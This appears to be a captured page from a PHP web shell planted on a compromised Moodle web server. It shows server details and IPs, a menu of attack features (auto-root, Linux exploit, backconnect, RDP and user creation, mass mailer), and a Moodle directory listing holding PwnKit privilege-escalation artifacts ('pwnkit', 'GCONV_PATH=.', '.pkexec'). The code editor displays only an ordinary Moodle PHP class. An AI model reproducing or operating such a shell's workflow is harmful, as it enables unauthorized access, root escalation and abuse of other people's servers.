Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
competency /
classes /
external /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
competency_exporter.php
1.45
KB
-rwxrwxrwx
competency_framework_exporter....
3.02
KB
-rwxrwxrwx
course_competency_exporter.php
1.28
KB
-rwxrwxrwx
course_competency_settings_exp...
1.35
KB
-rwxrwxrwx
course_module_competency_expor...
1.31
KB
-rwxrwxrwx
evidence_exporter.php
4.73
KB
-rwxrwxrwx
performance_helper.php
4.25
KB
-rwxrwxrwx
plan_competency_exporter.php
1.27
KB
-rwxrwxrwx
plan_exporter.php
6.98
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
related_competency_exporter.ph...
1.27
KB
-rwxrwxrwx
template_competency_exporter.p...
1.29
KB
-rwxrwxrwx
template_exporter.php
2.73
KB
-rwxrwxrwx
user_competency_course_exporte...
2.78
KB
-rwxrwxrwx
user_competency_exporter.php
5.51
KB
-rwxrwxrwx
user_competency_plan_exporter....
2.77
KB
-rwxrwxrwx
user_evidence_competency_expor...
1.35
KB
-rwxrwxrwx
user_evidence_exporter.php
3.96
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_competency_plan_exporter.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Class for exporting plan competency data. * * @package core_competency * @copyright 2015 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_competency\external; defined('MOODLE_INTERNAL') || die(); use context_system; use renderer_base; use stdClass; /** * Class for exporting plan competency data. * * @copyright 2015 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class user_competency_plan_exporter extends \core\external\persistent_exporter { protected static function define_class() { return \core_competency\user_competency_plan::class; } protected static function define_related() { // We cache the scale so it does not need to be retrieved from the framework every time. return array('scale' => 'grade_scale'); } protected function get_other_values(renderer_base $output) { $result = new stdClass(); if ($this->persistent->get('grade') === null) { $gradename = '-'; } else { $gradename = $this->related['scale']->scale_items[$this->persistent->get('grade') - 1]; } $result->gradename = $gradename; if ($this->persistent->get('proficiency') === null) { $proficiencyname = get_string('no'); } else { $proficiencyname = get_string($this->persistent->get('proficiency') ? 'yes' : 'no'); } $result->proficiencyname = $proficiencyname; return (array) $result; } /** * Get the format parameters for gradename. * * @return array */ protected function get_format_parameters_for_gradename() { return [ 'context' => context_system::instance(), // The system context is cached, so we can get it right away. ]; } protected static function define_other_properties() { return array( 'gradename' => array( 'type' => PARAM_TEXT ), 'proficiencyname' => array( 'type' => PARAM_RAW ), ); } }
Close